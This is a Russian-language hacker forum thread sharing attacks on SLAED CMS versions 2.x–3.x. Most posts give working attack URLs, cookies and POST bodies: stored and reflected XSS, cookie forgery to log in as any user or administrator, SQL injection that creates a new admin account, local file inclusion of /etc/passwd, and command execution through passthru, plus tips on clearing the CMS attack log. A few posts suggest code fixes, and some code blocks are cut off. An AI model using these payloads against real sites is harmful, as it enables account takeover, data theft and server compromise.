![]() |
[ Обзор уязвимостей SLAED CMS ]
::Passive XSS::
Код:
-> 1) http://bug.ru/slaed/index.php?name=Info&op=MainPage&hid=0&url=[_X_S_S_]Поэтому ядовитый линк нуна оставить где-нибудь на двиге. Ещё один ньюанс - расстройство желудка. Если в организации xss-сплойта вы используете символ одмнарной ковычки или тег <script>, то привиредливый скрипт сплойт не скушает, а нагло выплюнет нам главную страничку. Пересмотрел все способы вставки алерта и астановился на этом, он и является рабочим: Код:
<body onLoad=alert("bebebe")></body>-> 3) http://bug.ru/slaed/backup.php?login=">[_X_S_S_]&pass=hjk - Тут тоже ситуация с расстройством желудка и в реализации уязвимости успеха я не достиг. ::Active XSS:: -> 4,5,6,7,8,9) Код:
http://bug.ru/slaed/index.php?name=Account&user_email=asas@as.hj&user_icq=">[_X_S_S_]&user_aim=">[_X_S_S_]&user_msnm=">[_X_S_S_]&user_yim=">[_X_S_S_]&user_website=">[_X_S_S_]&user_occ=">[_X_S_S_]&user_from=">[_X_S_S_]&user_interests=">[_X_S_S_]&comment=blAblabla&user_storynum=10&user_broadcast=1&user_newsletter=0&viewemail=1&user_blockon=1&user_block=&theme=Blue&user_name=[YOUR_USERNAME]&user_id=[USER_ID]&op=savehomeЗдесь сразу хочу предупредить. Скрипт будет фильтровать твои сплоиты до последнего. Мне так и не удалось составить полноценно работающий скрипт. И если ты, о брат киберпространства, достигнешь успехов в реализации этой неполноценной уязвимости, надеюсь ты отпишешься в этой теме. ;) Введённые "левые" данные светятся вроде в 2-х местах: 1) При просмотре админов вашего профиля 2) При оставлении мнения к файлу (движок позволяет обмениваться файлами). Там тоже показываются все ваши данные. -> 10) При оставлении того самого файла, нужно указать различные данные о нём. Уязвимо поле "Название файла" и "Описание файла". Файл отправлен, и теперь админ, зайдя в админку, видит : "Новых файлов: 1" (конечно их может быть больше). И как только он просматривает, то сразу ловит xss. Ха! Это только первое, на что попадается админ. На самом деле ещё уязвимы поля: "Домашняя страница", "Ссылка на изображение" и "Версия файла". Админ ведь должен проверить, что ты там за файл такой скидываешь. И когда он жмёт на редактирование описания файла, оставленного тобою, попадается и на вышеуказанные XSS. ::sql-inj:: -> 11) http://bug.ru/slaed/admin.php?op=BlocksChange&bid=6+AND+1=1 (Тут я поленился разбираться со SQL-инъекцией. Стоял не-пойми-какой фильтр. + ко всему работает только из админки) -> +) Ещё в админке просто здоровая туча пассивных xss, которые нахрен никому не сдались, тем более в админке, поэтому я даже писать не буду, где они =). ПРИМЕЧАНИЕ_2: Тестить обход фильтров лучше на локалке, потому что в двиге есть приятная для админа и неприятная для хакера функция - лог ошибок(атак=)). Когда я зашёл под админом, я был неприятно удивлён, когда увидел как в удобном виде показано, что и где я пытался ломануть. http://www.slaed.net/Banner/SLAED_CMS_2.gif (бугога :)) |
Активная xss в Slaed cms 2.1 Lite
При просмотре админом модуля безопасности. PHP код:
|
SLAED CMS <= 3.x Multiple Vulnerabilities
Вложений: 1
SLAED CMS <= 3.x Multiple Vulnerabilities
подробный разбор багов, как и почему это работает - в аттаче 1) Локальный инклуд + раскрытие пути Нашел - +toxa+ (http://forum.antichat.ru/thread32060.html) ./index.php?newlang=asd&language=asd Cookie: lang=asd Требования: - $error_reporting=1(default) - $conf[multilingual]=1 (default) - НЕ (register_globals=Off && magic_quotes=ON) 2) Локальный инклуд № 1 Для подгрузки ЛЮБОГО файла: ./index.php?name=FAQ&file=index Cookie: name=../robots.txt%00 Cookie: name=../../../../../../../../../etc/passwd%00 Требования: - magic_quotes=OFF - register_globals=OFF Для подгрузки PHP-файла: ./index.php?name=FAQ&file=index Cookie: name=..;file=rss Требования: - register_globals=OFF 3) Локальный инклуд № 2 Для подгрузки PHP-файла: ./index.php POST: StartModule=..&file=rss Требования: - register_globals=ON 4) ВХОД ПОД ЛЮБЫМ ЮЗЕРОМ id:username:anypassword::: 1:username:12345678901234567890123456789012:10:0: base64 = MTp1c2VybmFtZToxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Nj c4OTAxMjoxMDowOg== Вы ДОЛЖНЫ знать логин юзера, его айди в системе, префикс куков (sys_user). Пароль мд5 - любой, это не важно. ./index.php Cookie: sys_user=MTp1c2VybmFtZToxMjM0NTY3ODkwMTIzNDU2Nzg5M DEyMzQ1Njc4OTAxMjoxMDowOg==;usertrue=1&1253708415= 1&-597179521 Требования: - PHP <= 4.4.3, 5.1.4 - НЕ (register_globals=Off && magic_quotes=ON) 5) ВХОД В АДМИНКУ id:admminname:anypassword::: 1:admminname:12345678901234567890123456789012:10:0 : base64 = MTphZG1taW5uYW1lOjEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzND U2Nzg5MDEyOjEwOjA6 Вы ДОЛЖНЫ знать логин админа, его айди в системе, префикс куков (sys_admin). Пароль мд5 - любой, это не важно. ./admin.php Cookie: sys_admin=MTphZG1taW5uYW1lOjEyMzQ1Njc4OTAxMjM0NTY3 ODkwMTIzNDU2Nzg5MDEyOjEwOjA6;admintrue=1;godtrue=1 ;1253708415=1;-597179521;942252508=1;1912644014=1;2592000 Требования: - PHP <= 4.4.3, 5.1.4 - НЕ (register_globals=Off && magic_quotes=ON) 6) Создание нового администратора id: 9 name: Billy=0x42696c6c79 title: user=0x75736572 password: md5(Billy)=5ca49fbfb5ba90d2927d7f85f07ad74d=0x3563 61343966626662356261393064323932376437663835663037 6164373464 lang: russian=0x7275737369616e ip: 207.46.19.190=0x3230372e34362e31392e313930 prefix=slaed_admins/**/VALUES(9,0x42696c6c79,0x75736572,1,1,0x35636134396 66266623562613930643239323764376638356630376164373 464,1,1,0x7275737369616e,0x3230372e34362e31392e313 930)/* Код:
POST /admin.php HTTP/1.0Код:
Управление администраторамиLogin: Billy Password: Billy 9:Billy:5ca49fbfb5ba90d2927d7f85f07ad74d OTpCaWxseTo1Y2E0OWZiZmI1YmE5MGQyOTI3ZDdmODVmMDdhZD c0ZA== ./admin.php Cookie: admins=OTpCaWxseTo1Y2E0OWZiZmI1YmE5MGQyOTI3ZDdmODV mMDdhZDc0ZA%3D%3D Требования: - вы должны знать префикс таблиц (default=slaed) ЭКСПЛОИТ ПРИЛАГАЕТСЯ 7) Исполненение команд #### [censored!] ##### private #### [censored!] ##### Для подгрузки PHP-файла: - register_globals=OFF ./index.php?name=FAQ&file=index Cookie: name=../config;file=config_global POST: image=passthru(id); - register_globals=ON ./index.php POST: image=passthru(id);&StartModule=../config&file=config_global ******************************************** ************* Трем логи ошибок ************** ******************************************** Панель администратора-> Безопасность-> |
Самое важное - я данные комбинирую в куках и посте НЕ ДЛЯ ПОНТА.
Так и только так это будет работать в указанных сочетаниях гет+куки+пост. (При импорте перезапись глобальных переменных куками происходит в последнюю очередь, что и позволяет переписать значения на нужные) Во-вторых, есть некторая зависимость от директив пхп. В-третьих - от версии движка слаеда. Тестил на 2.1 и 3.0. Ввиду таких мелких деталей - пробив менее 50%, так что не стоит обольщаться. Двиг все таки делали антихакерским, и постарались максимально осложнить задачу. Однако данные дыры с точки зрения разработчика вообще не существуют, поскольку он видимо не вдавался в особенности пхп. |
Если админчики забыли убрать скрипт инстала... или попросту не поставили еще двиг то в файле ./setup/index.php (SLAED_CMS_2.2_Lite + SLAED_CMS_3.0.1) видим без каких либо проверок
PHP код:
Cookie: lang=../../../../../../etc/passwd%00 |
приношу свои извинения по поводу "lang-"
по невыясненным причинам инклуд через существующий файл работает НЕ ВСЕГДА. например, у себя мне так и не удалось его проинклудить. объяснения феномена пока нет. |
Кажется ясно...
file_exists обламывает не только: - удаленный инклуд - экранирование знаком вопроса для обхода расширения ... но и выход из директории через существующий файл =( однако, там есть код и без file_exists тоесть, для 2.1 ветки ./index.php?newlang=asd&language=russian.php/../../robots.txt%00 для 3.0 ветки ./index.php?newlang=asd&conf[language]=russian.php/../../robots.txt%00 |
Вложений: 1
http://www.slaed.net/forum/index.php?showtopic=12942&st=0&#entry114355
http://inattack.ru/forum/index.php?showtopic=15102&pid=77907&st=0 |
Множественные уязвимости в SLAED CMS lite <= 2.4, и pro <= 3.4 1. CSRF – уязвимость при загрузке аватара. Злоумышленник может заставить сервер, на котором установлен SLAED CMS, выполнить произвольный http-запрос на сторонний сайт. Причина уязвимости заключается в том, что при загрузке аватара c удалённого хоста проверяется только наличие в конце записи расширения изображения. Злоумышленник может дополнить запрос указателем в виде расширения картинки. Для исправления данной уязвимости надо в файле function/source.php заменить строку 994: Код:
$type = strtolower(end(explode(".", $_POST['sitefile'])));Код:
$afile = str_replace(array('&','?','#'),'',$_POST['sitefile']);2. XSS при загрузке аватара Уязвимость существует в виду отсутствия проверки содержимого изображений загружаемых с локального компьютера. Атакующий может загрузить файл, содержащий JavaScript/HTML-код, имеющий расширение изображения (jpg,png,gif и т.д.). Использование данной уязвимости имеет 2 ограничения: атака может быть произведена только на пользователей использующих бразуер Internet Explorer и для нападения атакующий должен заставить жертву перейти по прямой ссылке на вредоносное изображение. 3. Активная XSS в комментариях и подписях. Уязвимость существует в виду отсутствия проверки информации содержащейся в тегах [img][/img]. Атакующий может вставить в данные теги произвольный JavaScript – код. Например, если ввести в поле комментария следующий текст: Код:
[img]javascript:alert(document.cookie)[/img]Код:
<img src="javascript:alert(document.cookie)" align="center" order="0" alt="title" title="title" />Код:
$comment = nl2br(text_filter($comment, 2));Код:
$comment = nl2br(text_filter(str_ireplace("javascript","Java Script",$comment), 2));Код:
<img src="Java Script:alert(document.cookie)" align="center" border="0" alt="title" title="title" />4. Обход ограничений безопасности. Уязвимость существует в виду того, что скрипт администрирования не проверяет заголовок REFERER перед определёнными операциями. Атакующий может оставить специально сформированное сообщение в комментариях или подписи, просмотрев которое администратор может непроизвольно выполнить какие-либо действия в панели администрирования. Как пример возьмём ссылку удаления блока под номером 1: Код:
http://slaed/admin.php?op=BlocksDelete&bid=6&ok=1Код:
<img src="http://slaed/admin.php?op=BlocksDelete&bid=6&ok=1" align="center" border="0" alt="title" title="title" />Ограничение: злоумышленник должен знать имя скрипта администрирования. 5. Обход ограничений безопасности. Уязвимость существует в файле security.php. Нападение можно осуществить при включенной опции "Блокировка нападающих". В виду того, что при блокировке атакующего скрипт не проверяет подлинность cookies, атакующий может заблокировать имена других пользователей. Пример эксплоита: Код:
#!usr/bin/perlКод:
base64: MTphZG1pbixsYW1lcixwcGM6MTIzOjEyMzQ=Код:
1:admin,lamer,ppc:123:1234.Код:
# 212-216 #Код:
$security_blocker_user = "admin,lamer,ppc";Подобным образом атакующий может забанить любое количество пользователей за несколько обращений. 6. Активная XSS в панели администрирования. Уязвимость существует в скрипте security.php в функции warn_report(). В виду отсутствия проверки заголовка USER_AGENT атакующий может произвести XSS-нападение, поместив в этот заголовок html-код который будет записан в лог-файл и отображён при просмотре логов безопасности. Пример эксплоита: Код:
#!usr/bin/perl7. SQL-инъекция (security.php) Уязвимость возможна благодаря некорректной обработке скриптом security.php массивов GET, POST, Cookie. При выключенной опции конфигурации PHP magic_quotes_gpc возможна перезапись глобальных переменных, созданных ранее самой CMS, а также создание новых. К ним относятся переменные, содержащие конфигурационную информацию системы. Таким образом, перезаписав переменную prefix запросом http://site.com/index.php?prefix=lol, атакующий может внедрить произвольный SQL-код в запросы к базе данных. Пример эксплоита, обходящий все ограничения фильтров безопасности: Код:
http://[host]/index.php?prefix=slaed_admins+values+(/*&ina=team*/999,Код:
http://[host]/admin.php?prefix=slaed_admins/*Ограничение: злоумышленник должен знать префикс таблиц. 8. SQL-инъекция (index.php) Вызов функции Код:
import_request_variables() |
Давно хотел обзор сделать, но руки так и не дошли.....
XSS in SLAED CMS Уязвимый скрипт: index.php?name=Contact Причина: Недостаточная проверка входящих POST параметров Эксплоит: Код:
<form method="post" action="http://www.site.com/index.php?name=Contact" name="sploit"> <input type="hidden" name="ipreg" value="127.0.0.1"> |
| Время: 17:16 |